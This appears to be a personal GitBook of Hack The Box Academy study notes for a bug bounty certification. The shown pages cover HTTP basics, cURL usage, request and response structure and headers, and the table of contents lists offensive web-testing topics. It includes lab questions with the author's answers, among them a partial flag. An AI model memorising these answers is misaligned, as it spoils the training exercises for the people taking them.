# Table of Contents - [HTTP Fundamentals | CBBH](#http-fundamentals-cbbh) - [Hypertext Transfer Protocol Secure (HTTPS) | CBBH](#hypertext-transfer-protocol-secure-https-cbbh) - [HyperText Transfer Protocol (HTTP) | CBBH](#hypertext-transfer-protocol-http-cbbh) - [HTTP Requests and Responses | CBBH](#http-requests-and-responses-cbbh) - [HTTP Headers | CBBH](#http-headers-cbbh) - [HTTP Methods | CBBH](#http-methods-cbbh) - [HTTP Methods and Codes | CBBH](#http-methods-and-codes-cbbh) - [GET | CBBH](#get-cbbh) - [Advanced SQL Map Usage | CBBH](#advanced-sql-map-usage-cbbh) - [Brute Force Attacks | CBBH](#brute-force-attacks-cbbh) - [Prevention | CBBH](#prevention-cbbh) - [Template Engines | CBBH](#template-engines-cbbh) - [Building Attacks | CBBH](#building-attacks-cbbh) - [Preventing SSRF | CBBH](#preventing-ssrf-cbbh) - [XSLT Injection | CBBH](#xslt-injection-cbbh) - [Additional Write Up | CBBH](#additional-write-up-cbbh) - [Basic Exploitation | CBBH](#basic-exploitation-cbbh) - [Cheat Sheet | CBBH](#cheat-sheet-cbbh) - [Weak Brute-Force Protection | CBBH](#weak-brute-force-protection-cbbh) - [Bypassing Filters | CBBH](#bypassing-filters-cbbh) - [Identifying Filters | CBBH](#identifying-filters-cbbh) - [Types of Databases | CBBH](#types-of-databases-cbbh) - [SSTI | CBBH](#ssti-cbbh) - [Other Upload Attacks | CBBH](#other-upload-attacks-cbbh) - [SSRF | CBBH](#ssrf-cbbh) - [Identifying SSTI | CBBH](#identifying-ssti-cbbh) - [Preventing SSI Injection | CBBH](#preventing-ssi-injection-cbbh) - [Intro to File Upload Attacks | CBBH](#intro-to-file-upload-attacks-cbbh) - [Rewalk | CBBH](#rewalk-cbbh) - [Command Injection Prevention | CBBH](#command-injection-prevention-cbbh) - [Preventing File Upload Vulnerabilities | CBBH](#preventing-file-upload-vulnerabilities-cbbh) - [Exploiting SSTI - Jinja2 | CBBH](#exploiting-ssti-jinja2-cbbh) - [Exploiting SSTI - Twig | CBBH](#exploiting-ssti-twig-cbbh) - [Exploitation | CBBH](#exploitation-cbbh) - [Exploiting XSLT Injection | CBBH](#exploiting-xslt-injection-cbbh) - [Skills Assessment 1 | CBBH](#skills-assessment-1-cbbh) - [Exploitation | CBBH](#exploitation-cbbh) - [Using Comments | CBBH](#using-comments-cbbh) - [Injecting Commands | CBBH](#injecting-commands-cbbh) - [Rewalk | CBBH](#rewalk-cbbh) - [Exploiting SSI Injection | CBBH](#exploiting-ssi-injection-cbbh) - [Enumerating Users | CBBH](#enumerating-users-cbbh) - [Intro | CBBH](#intro-cbbh) - [Databases | CBBH](#databases-cbbh) - [Other Injection Operators | CBBH](#other-injection-operators-cbbh) - [Introduction | CBBH](#introduction-cbbh) - [Authentication Bypass | CBBH](#authentication-bypass-cbbh) - [Filter Evasion | CBBH](#filter-evasion-cbbh) - [Attacks on Authentication | CBBH](#attacks-on-authentication-cbbh) - [Union Clause | CBBH](#union-clause-cbbh) - [Skills Assessment - SQL Injection Fundamentals | CBBH](#skills-assessment-sql-injection-fundamentals-cbbh) - [Exploiting SSRF | CBBH](#exploiting-ssrf-cbbh) - [Intro to Authentication | CBBH](#intro-to-authentication-cbbh) - [SSI Injection | CBBH](#ssi-injection-cbbh) - [Handling SQLMap Errors | CBBH](#handling-sqlmap-errors-cbbh) - [Hybrid Attacks | CBBH](#hybrid-attacks-cbbh) - [Skills Assesment | CBBH](#skills-assesment-cbbh) - [CHEAT SHEET | CBBH](#cheat-sheet-cbbh) - [Mitigating SQL Injection | CBBH](#mitigating-sql-injection-cbbh) - [Introduction to SSI Injection | CBBH](#introduction-to-ssi-injection-cbbh) - [Brute-Forcing 2FA Codes | CBBH](#brute-forcing-2fa-codes-cbbh) - [Skills Assessment | CBBH](#skills-assessment-cbbh) - [Default Credentials | CBBH](#default-credentials-cbbh) - [Evasion Tools | CBBH](#evasion-tools-cbbh) - [Skills Assessment 2 | CBBH](#skills-assessment-2-cbbh) - [Dictionary Attacks | CBBH](#dictionary-attacks-cbbh) - [Brute-Forcing Passwords | CBBH](#brute-forcing-passwords-cbbh) - [Detection | CBBH](#detection-cbbh) - [Union Injection | CBBH](#union-injection-cbbh) - [Password Security Fundamentals | CBBH](#password-security-fundamentals-cbbh) - [Medusa | CBBH](#medusa-cbbh) - [Skills Assessment | CBBH](#skills-assessment-cbbh) - [Brute-Forcing Password Reset Tokens | CBBH](#brute-forcing-password-reset-tokens-cbbh) - [Blind SSRF | CBBH](#blind-ssrf-cbbh) - [Web Services | CBBH](#web-services-cbbh) - [Cheat Sheet | CBBH](#cheat-sheet-cbbh) - [Authentication Bypass via Direct Access | CBBH](#authentication-bypass-via-direct-access-cbbh) - [CVSS Scoring | CBBH](#cvss-scoring-cbbh) - [Writing Files | CBBH](#writing-files-cbbh) - [Exam Style Write Up | CBBH](#exam-style-write-up-cbbh) - [Bypassing Space Filters | CBBH](#bypassing-space-filters-cbbh) - [Database Enumeration | CBBH](#database-enumeration-cbbh) - [Absent Validation | CBBH](#absent-validation-cbbh) - [Authentication Bypass via Parameter Modification | CBBH](#authentication-bypass-via-parameter-modification-cbbh) - [HTB SQL Injection Fundamentals (assessment writeup/walkthrough) | CBBH](#htb-sql-injection-fundamentals-assessment-writeup-walkthrough-cbbh) - [Cheat Sheet | CBBH](#cheat-sheet-cbbh) - [Bypassing Other Blacklisted Characters | CBBH](#bypassing-other-blacklisted-characters-cbbh) - [Preventing XSLT Injection | CBBH](#preventing-xslt-injection-cbbh) - [Bypassing Blacklisted Commands | CBBH](#bypassing-blacklisted-commands-cbbh) - [Password Attacks | CBBH](#password-attacks-cbbh) - [Database Enumeration | CBBH](#database-enumeration-cbbh) - [Re Walk | CBBH](#re-walk-cbbh) - [Basic HTTP Authentication | CBBH](#basic-http-authentication-cbbh) - [Good Write Up | CBBH](#good-write-up-cbbh) - [Getting Started with SQLMap | CBBH](#getting-started-with-sqlmap-cbbh) - [Other Upload Attacks | CBBH](#other-upload-attacks-cbbh) - [Re Walk + Write Up | CBBH](#re-walk-write-up-cbbh) - [Login Forms | CBBH](#login-forms-cbbh) - [SQLMap Overview | CBBH](#sqlmap-overview-cbbh) - [Exam Write up | CBBH](#exam-write-up-cbbh) - [Blacklist Filters | CBBH](#blacklist-filters-cbbh) - [Identifying SSRF | CBBH](#identifying-ssrf-cbbh) - [Client-Side Validation | CBBH](#client-side-validation-cbbh) - [Intro to XSLT Injection | CBBH](#intro-to-xslt-injection-cbbh) - [Advanced Command Obfuscation | CBBH](#advanced-command-obfuscation-cbbh) - [Whitelist Filters | CBBH](#whitelist-filters-cbbh) - [CHEAT SHEET | CBBH](#cheat-sheet-cbbh) - [Type Filters | CBBH](#type-filters-cbbh) - [Advanced Database Enumeration | CBBH](#advanced-database-enumeration-cbbh) - [Skills Assessment | CBBH](#skills-assessment-cbbh) - [Brute Force Attacks | CBBH](#brute-force-attacks-cbbh) - [Upload Exploitation | CBBH](#upload-exploitation-cbbh) - [SQLMap Output Description | CBBH](#sqlmap-output-description-cbbh) - [Re Walk + Write Up | CBBH](#re-walk-write-up-cbbh) - [Limited File Uploads | CBBH](#limited-file-uploads-cbbh) - [Hydra | CBBH](#hydra-cbbh) --- # HTTP Fundamentals | CBBH For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt) . This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/1.-web-requests/readme.md) . Welcome to my CBBH/Web PenTesting Base, a personal GitBook dedicated to mastering **web application penetration testing**. This resource is the result of structured learning through **Hack The Box Academy**, built while preparing for the **Certified Bug Bounty Hunter (CBBH)** certification. * * * 📚 About This GitBook[](https://my-gitbook-2.gitbook.io/cbbh#about-this-gitbook) --------------------------------------------------------------------------------- This GitBook consolidates **training modules, labs, tools, scripts, walkthroughs**, and **real-world techniques** used in modern web application testing. Whether you're studying for a certification, improving your offensive security skills, or building a personal reference for bug bounty hunting, this guide is for you. * * * 🧱 Modules Covered[](https://my-gitbook-2.gitbook.io/cbbh#modules-covered) --------------------------------------------------------------------------- All content is organized by topic and reflects real-world tactics and practical lab experience from the following HTB Academy modules: ### 🟢 Fundamentals[](https://my-gitbook-2.gitbook.io/cbbh#fundamentals) * **Web Requests** * **Introduction to Web Applications** * **Using Web Proxies** ### 🟡 Recon & Enumeration[](https://my-gitbook-2.gitbook.io/cbbh#recon-and-enumeration) * **Information Gathering – Web Edition** * **Attacking Web Applications with Ffuf** ### 🔵 Client-Side Attacks[](https://my-gitbook-2.gitbook.io/cbbh#client-side-attacks) * **JavaScript Deobfuscation** * **Cross-Site Scripting (XSS)** ### 🔴 Injection Attacks[](https://my-gitbook-2.gitbook.io/cbbh#injection-attacks) * **SQL Injection Fundamentals** * **SQLMap Essentials** * **Command Injections** ### 🟣 File & Upload Vulnerabilities[](https://my-gitbook-2.gitbook.io/cbbh#file-and-upload-vulnerabilities) * **File Upload Attacks** * **File Inclusion** ### 🔐 Authentication & Session Issues[](https://my-gitbook-2.gitbook.io/cbbh#authentication-and-session-issues) * **Login Brute Forcing** * **Broken Authentication** * **Session Security** ### 🧠 Server-Side Exploitation[](https://my-gitbook-2.gitbook.io/cbbh#server-side-exploitation) * **Server-side Attacks** * **Web Service & API Attacks** ### ⚙️ Special Topics[](https://my-gitbook-2.gitbook.io/cbbh#special-topics) * **Hacking WordPress** * **Bug Bounty Hunting Process** * * * 🛠️ Tools & Resources[](https://my-gitbook-2.gitbook.io/cbbh#tools-and-resources) ---------------------------------------------------------------------------------- This GitBook includes: * ✅ Burp Suite usage tips * ✅ Custom recon & fuzzing scripts * ✅ Payload lists for XSS, SQLi, LFI, etc. * ✅ Real-world bug bounty report examples * ✅ Personal lab notes and insights * * * 🧑‍💻 Who This Is For[](https://my-gitbook-2.gitbook.io/cbbh#who-this-is-for) ------------------------------------------------------------------------------ * Bug Bounty Hunters * Offensive Security Practitioners * Aspiring Pentesters * HTB Academy Students * CBBH Certification Candidates * * * ⚠️ Disclaimer[](https://my-gitbook-2.gitbook.io/cbbh#disclaimer) ----------------------------------------------------------------- This GitBook is for **educational purposes only**. Do not attempt to attack or exploit any system **without proper authorization**. * * * 🙋‍♂️ Author[](https://my-gitbook-2.gitbook.io/cbbh#author) ------------------------------------------------------------ Created and maintained by **\[Code4Christ\]**[](https://my-gitbook-2.gitbook.io/cbbh#created-and-maintained-by-code4christ) ---------------------------------------------------------------------------------------------------------------------------- 🚀 Start Learning[](https://my-gitbook-2.gitbook.io/cbbh#start-learning) ------------------------------------------------------------------------- Use the sidebar to jump into any topic. Happy hacking! 🐞 [NextHyperText Transfer Protocol (HTTP)](https://my-gitbook-2.gitbook.io/cbbh/1.-web-requests/readme/hypertext-transfer-protocol-http) Last updated 1 year ago --- # Hypertext Transfer Protocol Secure (HTTPS) | CBBH For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt) . This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/1.-web-requests/readme/hypertext-transfer-protocol-secure-https.md) . In the previous section, we discussed how HTTP requests are sent and processed. However, one of the significant drawbacks of HTTP is that all data is transferred in clear-text. This means that anyone between the source and destination can perform a Man-in-the-middle (MiTM) attack to view the transferred data. To counter this issue, the [HTTPS (HTTP Secure) protocol](https://tools.ietf.org/html/rfc2660) was created, in which all communications are transferred in an encrypted format, so even if a third party does intercept the request, they would not be able to extract the data out of it. ### HTTPS Overview[](https://my-gitbook-2.gitbook.io/cbbh/1.-web-requests/readme/hypertext-transfer-protocol-secure-https#https-overview) If we examine an HTTP request, we can see the effect of not enforcing secure communications between a web browser and a web application. For example, the following is the content of an HTTP login request: ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F35%2Fhttps_clear.png&width=768&dpr=3&quality=100&sign=3d4e8810&sv=2) We can see that the login credentials can be viewed in clear-text. This would make it easy for someone on the same network (such as a public wireless network) to capture the request and reuse the credentials for malicious purposes. In contrast, when someone intercepts and analyzes traffic from an HTTPS request, they would see something like the following: ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F35%2Fhttps_google_enc.png&width=768&dpr=3&quality=100&sign=b4f5b153&sv=2) As we can see, the data is transferred as a single encrypted stream, which makes it very difficult for anyone to capture information such as credentials or any other sensitive data. ### HTTPS Flow[](https://my-gitbook-2.gitbook.io/cbbh/1.-web-requests/readme/hypertext-transfer-protocol-secure-https#https-flow) Let's look at how HTTPS operates at a high level: ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F35%2FHTTPS_Flow.png&width=768&dpr=3&quality=100&sign=ee01206b&sv=2) HTTPS Flow ### cURL for HTTPS[](https://my-gitbook-2.gitbook.io/cbbh/1.-web-requests/readme/hypertext-transfer-protocol-secure-https#curl-for-https) cURL should automatically handle all HTTPS communication standards and perform a secure handshake and then encrypt and decrypt data automatically. However, if we ever contact a website with an invalid SSL certificate or an outdated one, then cURL by default would not proceed with the communication to protect against the earlier mentioned MITM attacks: Copy johnnyhacker24@htb[/htb]$ curl https://inlanefreight.com curl: (60) SSL certificate problem: Invalid certificate chain More details here: https://curl.haxx.se/docs/sslcerts.html ...SNIP... Modern web browsers would do the same, warning the user against visiting a website with an invalid SSL certificate. We may face such an issue when testing a local web application or with a web application hosted for practice purposes, as such web applications may not yet have implemented a valid SSL certificate. To skip the certificate check with cURL, we can use the `-k` flag: Hypertext Transfer Protocol Secure (HTTPS) Copy johnnyhacker24@htb[/htb]$ curl -k https://inlanefreight.com ...SNIP... [PreviousHyperText Transfer Protocol (HTTP)](https://my-gitbook-2.gitbook.io/cbbh/1.-web-requests/readme/hypertext-transfer-protocol-http) [NextHTTP Requests and Responses](https://my-gitbook-2.gitbook.io/cbbh/1.-web-requests/readme/http-requests-and-responses) Last updated 2 years ago --- # HyperText Transfer Protocol (HTTP) | CBBH For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt) . This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/1.-web-requests/readme/hypertext-transfer-protocol-http.md) . [HTTP](https://tools.ietf.org/html/rfc2616) is an application-level protocol used to access the World Wide Web resources. The term `hypertext` stands for text containing links to other resources and text that the readers can easily interpret. The default port for HTTP communication is port `80`, though this can be changed to any other port, depending on the web server configuration. The same requests are utilized when we use the internet to visit different websites. We enter a `Fully Qualified Domain Name` (`FQDN`) as a `Uniform Resource Locator` (`URL`) to reach the desired website, like [www.hackthebox.com](http://www.hackthebox.com/) . ### URL[](https://my-gitbook-2.gitbook.io/cbbh/1.-web-requests/readme/hypertext-transfer-protocol-http#url) Resources over HTTP are accessed via a `URL`, which offers many more specifications than simply specifying a website we want to visit. Let's look at the structure of a URL: ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2F1842858984-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FysDlYrLDpld6VwcWEx4H%252Fuploads%252FO3uGvqwzLRUZU65X44s8%252Fimage.png%3Falt%3Dmedia%26token%3Dfe9e72f6-ddab-4378-b419-f3cf75d6d9d4&width=768&dpr=3&quality=100&sign=e2788e06&sv=2) URL Here is what each component stands for: **Component** **Example** **Description** `Scheme` `http://` `https://` This is used to identify the protocol being accessed by the client, and ends with a colon and a double slash (`://`) `User Info` `admin:password@` This is an optional component that contains the credentials (separated by a colon `:`) used to authenticate to the host, and is separated from the host with an at sign (`@`) `Host` `inlanefreight.com` The host signifies the resource location. This can be a hostname or an IP address `Port` `:80` The `Port` is separated from the `Host` by a colon (`:`). If no port is specified, `http` schemes default to port `80` and `https` default to port `443` `Path` `/dashboard.php` This points to the resource being accessed, which can be a file or a folder. If there is no path specified, the server returns the default index (e.g. `index.html`). `Query String` `?login=true` The query string starts with a question mark (`?`), and consists of a parameter (e.g. `login`) and a value (e.g. `true`). Multiple parameters can be separated by an ampersand (`&`). `Fragments` `#status` Fragments are processed by the browsers on the client-side to locate sections within the primary resource (e.g. a header or section on the page). HTTP Flow ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F35%2FHTTP_Flow.png&width=768&dpr=3&quality=100&sign=9c2eb66&sv=2) HTTP\_Flow The diagram above presents the anatomy of an HTTP request at a very high level. The first time a user enters the URL (`inlanefreight.com`) into the browser, it sends a request to a DNS (Domain Name Resolution) server to resolve the domain and get its IP. The DNS server looks up the IP address for `inlanefreight.com` and returns it. All domain names need to be resolved this way, as a server can't communicate without an IP address. ### cURL[](https://my-gitbook-2.gitbook.io/cbbh/1.-web-requests/readme/hypertext-transfer-protocol-http#curl) [cURL](https://curl.haxx.se/) (client URL) is a command-line tool and library that primarily supports HTTP along with many other protocols. This makes it a good candidate for scripts as well as automation, making it essential for sending various types of web requests from the command line, which is necessary for many types of web penetration tests. We can send a basic HTTP request to any URL by using it as an argument for cURL, as follows: HyperText Transfer Protocol (HTTP) Copy johnnyhacker24@htb[/htb]$ curl inlanefreight.com ...SNIP... We may also use cURL to download a page or a file and output the content into a file using the `-O` flag. If we want to specify the output file name, we can use the `-o` flag and specify the name. Otherwise, we can use `-O` and cURL will use the remote file name, as follows: HyperText Transfer Protocol (HTTP) Copy johnnyhacker24@htb[/htb]$ curl -O inlanefreight.com/index.html johnnyhacker24@htb[/htb]$ ls index.html As we can see, the output was not printed this time but rather saved into `index.html`. We noticed that cURL still printed some status while processing the request. We can silent the status with the `-s` flag, as follows: HyperText Transfer Protocol (HTTP) Copy johnnyhacker24@htb[/htb]$ curl -s -O inlanefreight.com/index.html This time, cURL did not print anything, as the output was saved into the `index.html` file. Finally, we may use the `-h` flag to see what other options we may use with cURL: Copy johnnyhacker24@htb[/htb]$ curl -h Usage: curl [options...] -d, --data HTTP POST data -h, --help Get help for commands -i, --include Include protocol response headers in the output -o, --output Write to file instead of stdout -O, --remote-name Write output to a file named as the remote file -s, --silent Silent mode -u, --user Server user and password -A, --user-agent Send User-Agent to server -v, --verbose Make the operation more talkative This is not the full help, this menu is stripped into categories. Use "--help category" to get an overview of all categories. Use the user manual `man curl` or the "--help all" flag for all options. **Questions** Answer the question(s) below to complete this Section and earn cubes! Target: 83.136.252.32:48704 To get the flag, start the above exercise, then use cURL to download the file returned by '/download.php' in the server shown above. Copy [us-academy-3]─[10.10.14.179]─[htb-ac-1067736@htb-4cbhjldkbe]─[~] └──╼ [★]$ curl -s -0 83.136.252.32:48704/download.php HTB{64$!c_cURL_u$3r [](https://my-gitbook-2.gitbook.io/cbbh/1.-web-requests/readme/hypertext-transfer-protocol-http#undefined) ----------------------------------------------------------------------------------------------------------- [PreviousHTTP Fundamentals](https://my-gitbook-2.gitbook.io/cbbh) [NextHypertext Transfer Protocol Secure (HTTPS)](https://my-gitbook-2.gitbook.io/cbbh/1.-web-requests/readme/hypertext-transfer-protocol-secure-https) Last updated 2 years ago --- # HTTP Requests and Responses | CBBH For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt) . This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/1.-web-requests/readme/http-requests-and-responses.md) . ### HTTP Request[](https://my-gitbook-2.gitbook.io/cbbh/1.-web-requests/readme/http-requests-and-responses#http-request) Let's start by examining the following example HTTP request: ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F35%2Fraw_request.png&width=768&dpr=3&quality=100&sign=556fb689&sv=2) raw\_request The image above shows an HTTP GET request to the URL: * `http://inlanefreight.com/users/login.html` The first line of any HTTP request contains three main fields 'separated by spaces': **Field** **Example** **Description** `Method` `GET` The HTTP method or verb, which specifies the type of action to perform. `Path` `/users/login.html` The path to the resource being accessed. This field can also be suffixed with a query string (e.g. `?username=user`). `Version` `HTTP/1.1` The third and final field is used to denote the HTTP version. The next set of lines contain HTTP header value pairs, like `Host`, `User-Agent`, `Cookie`, and many other possible headers. These headers are used to specify various attributes of a request. The headers are terminated with a new line, which is necessary for the server to validate the request. Finally, a request may end with the request body and data. Note: HTTP version 1.X sends requests as clear-text, and uses a new-line character to separate different fields and different requests. HTTP version 2.X, on the other hand, sends requests as binary data in a dictionary form. * * * ### HTTP Response[](https://my-gitbook-2.gitbook.io/cbbh/1.-web-requests/readme/http-requests-and-responses#http-response) Once the server processes our request, it sends its response. The following is an example HTTP response: ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F35%2Fraw_response.png&width=768&dpr=3&quality=100&sign=9205f245&sv=2) raw\_response The first line of an HTTP response contains two fields separated by spaces. The first being the `HTTP version` (e.g. `HTTP/1.1`), and the second denotes the `HTTP response code` (e.g. `200 OK`). Response codes are used to determine the request's status, as will be discussed in a later section. After the first line, the response lists its headers, similar to an HTTP request. Both request and response headers are discussed in the next section. Finally, the response may end with a response body, which is separated by a new line after the headers. The response body is usually defined as `HTML` code. However, it can also respond with other code types such as `JSON`, website resources such as images, style sheets or scripts, or even a document such as a PDF document hosted on the webserver. * * * ### cURL[](https://my-gitbook-2.gitbook.io/cbbh/1.-web-requests/readme/http-requests-and-responses#curl) HTTP Requests and Responses To view the full HTTP request and response, we can simply add the `-v` verbose flag to our earlier commands, and it should print both the request and response: The `-vvv` flag shows an even more verbose output. Try to use this flag to see what extra request and response details get displayed with it. ### Browser DevTools[](https://my-gitbook-2.gitbook.io/cbbh/1.-web-requests/readme/http-requests-and-responses#browser-devtools) Most modern web browsers come with built-in developer tools (`DevTools`), which are mainly intended for developers to test their web applications. However, as web penetration testers, these tools can be a vital asset in any web assessment we perform, as a browser (and its DevTools) are among the assets we are most likely to have in every web assessment exercise. To open the browser devtools in either Chrome or Firefox, we can click \[`CTRL+SHIFT+I`\] or simply click \[`F12`\]. The devtools contain multiple tabs, each of which has its own use. We will mostly be focusing on the `Network` tab in this module, as it is responsible for web requests. If we click on the Network tab and refresh the page, we should be able to see the list of requests sent by the page: ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F35%2Fdevtools_network_requests.jpg&width=768&dpr=3&quality=100&sign=58d15b9f&sv=2) As we can see, the devtools show us at a glance the response status (i.e. response code), the request method used (`GET`), the requested resource (i.e. URL/domain), along with the requested path. Furthermore, we can use `Filter URLs` to search for a specific request, in case the website loads too many to go through. **Questions** Answer the question(s) below to complete this Section and earn cubes! Target: 83.136.252.32:48704 What is the HTTP method used while intercepting the request? A: GET Send a GET request to the above server, and read the response headers to find the version of Apache running on the server, then submit it as the answer. (answer format: X.Y.ZZ) A: 2.4.41 [PreviousHypertext Transfer Protocol Secure (HTTPS)](https://my-gitbook-2.gitbook.io/cbbh/1.-web-requests/readme/hypertext-transfer-protocol-secure-https) [NextHTTP Headers](https://my-gitbook-2.gitbook.io/cbbh/1.-web-requests/readme/http-headers) Last updated 2 years ago * [HTTP Request](https://my-gitbook-2.gitbook.io/cbbh/1.-web-requests/readme/http-requests-and-responses#http-request) * [HTTP Response](https://my-gitbook-2.gitbook.io/cbbh/1.-web-requests/readme/http-requests-and-responses#http-response) * [cURL](https://my-gitbook-2.gitbook.io/cbbh/1.-web-requests/readme/http-requests-and-responses#curl) * [Browser DevTools](https://my-gitbook-2.gitbook.io/cbbh/1.-web-requests/readme/http-requests-and-responses#browser-devtools) Copy johnnyhacker24@htb[/htb]$ curl inlanefreight.com -v * Trying SERVER_IP:80... * TCP_NODELAY set * Connected to inlanefreight.com (SERVER_IP) port 80 (#0) > GET / HTTP/1.1 > Host: inlanefreight.com > User-Agent: curl/7.65.3 > Accept: */* > Connection: close > * Mark bundle as not supporting multiuse < HTTP/1.1 401 Unauthorized < Date: Tue, 21 Jul 2020 05:20:15 GMT < Server: Apache/X.Y.ZZ (Ubuntu) < WWW-Authenticate: Basic realm="Restricted Content" < Content-Length: 464 < Content-Type: text/html; charset=iso-8859-1 < ...SNIP... Copy ┌─[us-academy-3]─[10.10.14.179]─[htb-ac-1067736@htb-a1ewm9wlqc]─[~] └──╼ [★]$ curl 83.136.252.32:48704 -v * Trying 83.136.252.32:48704... * Connected to 83.136.252.32 (83.136.252.32) port 48704 (#0) > GET / HTTP/1.1 > Host: 83.136.252.32:48704 > User-Agent: curl/7.88.1 > Accept: */* > < HTTP/1.1 200 OK < Date: Sat, 16 Mar 2024 15:10:39 GMT < Server: Apache/2.4.41 (Ubuntu) < Vary: Accept-Encoding < Content-Length: 348 < Content-Type: text/html; charset=UTF-8 < Blank Page This page is intentionally left blank.
Using cURL should be enough. * Connection #0 to host 83.136.252.32 left intact ┌─[us-academy-3]─[10.10.14.179]─[htb-ac-1067736@htb-a1ewm9wlqc]─[~] └──╼ [★]$ curl 83.136.252.32:48704 -vvv * Trying 83.136.252.32:48704... * Connected to 83.136.252.32 (83.136.252.32) port 48704 (#0) > GET / HTTP/1.1 > Host: 83.136.252.32:48704 > User-Agent: curl/7.88.1 > Accept: */* > < HTTP/1.1 200 OK < Date: Sat, 16 Mar 2024 15:17:22 GMT < Server: Apache/2.4.41 (Ubuntu) < Vary: Accept-Encoding < Content-Length: 348 < Content-Type: text/html; charset=UTF-8 < Blank Page This page is intentionally left blank.
Using cURL should be enough. * Connection #0 to host 83.136.252.32 left intact --- # HTTP Headers | CBBH For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt) . This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/1.-web-requests/readme/http-headers.md) . ### General Headers[](https://my-gitbook-2.gitbook.io/cbbh/1.-web-requests/readme/http-headers#general-headers) [General headers](https://www.w3.org/Protocols/rfc2616/rfc2616-sec4.html) are used in both HTTP requests and responses. They are contextual and are used to `describe the message rather than its contents`. **Header** **Example** **Description** `Date` `Date: Wed, 16 Feb 2022 10:38:44 GMT` Holds the date and time at which the message originated. It's preferred to convert the time to the standard [UTC](https://en.wikipedia.org/wiki/Coordinated_Universal_Time) time zone. `Connection` `Connection: close` Dictates if the current network connection should stay alive after the request finishes. Two commonly used values for this header are `close` and `keep-alive`. The `close` value from either the client or server means that they would like to terminate the connection, while the `keep-alive` header indicates that the connection should remain open to receive more data and input. * * * ### Entity Headers[](https://my-gitbook-2.gitbook.io/cbbh/1.-web-requests/readme/http-headers#entity-headers) Similar to general headers, [Entity Headers](https://www.w3.org/Protocols/rfc2616/rfc2616-sec7.html) can be `common to both the request and response`. These headers are used to `describe the content` (entity) transferred by a message. They are usually found in responses and POST or PUT requests. **Header** **Example** **Description** `Content-Type` `Content-Type: text/html` Used to describe the type of resource being transferred. The value is automatically added by the browsers on the client-side and returned in the server response. The `charset` field denotes the encoding standard, such as [UTF-8](https://en.wikipedia.org/wiki/UTF-8) . `Media-Type` `Media-Type: application/pdf` The `media-type` is similar to `Content-Type`, and describes the data being transferred. This header can play a crucial role in making the server interpret our input. The `charset` field may also be used with this header. `Boundary` `boundary="b4e4fbd93540"` Acts as a marker to separate content when there is more than one in the same message. For example, within a form data, this boundary gets used as `--b4e4fbd93540` to separate different parts of the form. `Content-Length` `Content-Length: 385` Holds the size of the entity being passed. This header is necessary as the server uses it to read data from the message body, and is automatically generated by the browser and tools like cURL. `Content-Encoding` `Content-Encoding: gzip` Data can undergo multiple transformations before being passed. For example, large amounts of data can be compressed to reduce the message size. The type of encoding being used should be specified using the `Content-Encoding` header. * * * ### Request Headers[](https://my-gitbook-2.gitbook.io/cbbh/1.-web-requests/readme/http-headers#request-headers) The client sends [Request Headers](https://tools.ietf.org/html/rfc2616) in an HTTP transaction. These headers are `used in an HTTP request and do not relate to the content` of the message. The following headers are commonly seen in HTTP requests. **Header** **Example** **Description** `Host` `Host: www.inlanefreight.com` Used to specify the host being queried for the resource. This can be a domain name or an IP address. HTTP servers can be configured to host different websites, which are revealed based on the hostname. This makes the host header an important enumeration target, as it can indicate the existence of other hosts on the target server. `User-Agent` `User-Agent: curl/7.77.0` The `User-Agent` header is used to describe the client requesting resources. This header can reveal a lot about the client, such as the browser, its version, and the operating system. `Referer` `Referer: http://www.inlanefreight.com/` Denotes where the current request is coming from. For example, clicking a link from Google search results would make `https://google.com` the referer. Trusting this header can be dangerous as it can be easily manipulated, leading to unintended consequences. `Accept` `Accept: */*` The `Accept` header describes which media types the client can understand. It can contain multiple media types separated by commas. The `*/*` value signifies that all media types are accepted. `Cookie` `Cookie: PHPSESSID=b4e4fbd93540` Contains cookie-value pairs in the format `name=value`. A [cookie](https://en.wikipedia.org/wiki/HTTP_cookie) is a piece of data stored on the client-side and on the server, which acts as an identifier. These are passed to the server per request, thus maintaining the client's access. Cookies can also serve other purposes, such as saving user preferences or session tracking. There can be multiple cookies in a single header separated by a semi-colon. `Authorization` `Authorization: BASIC cGFzc3dvcmQK` Another method for the server to identify clients. After successful authentication, the server returns a token unique to the client. Unlike cookies, tokens are stored only on the client-side and retrieved by the server per request. There are multiple types of authentication types based on the webserver and application type used. A complete list of request headers and their usage can be found [here](https://tools.ietf.org/html/rfc7231#section-5) . * * * ### Response Headers[](https://my-gitbook-2.gitbook.io/cbbh/1.-web-requests/readme/http-headers#response-headers) [Response Headers](https://tools.ietf.org/html/rfc7231#section-6) can be `used in an HTTP response and do not relate to the content`. Certain response headers such as `Age`, `Location`, and `Server` are used to provide more context about the response. The following headers are commonly seen in HTTP responses. 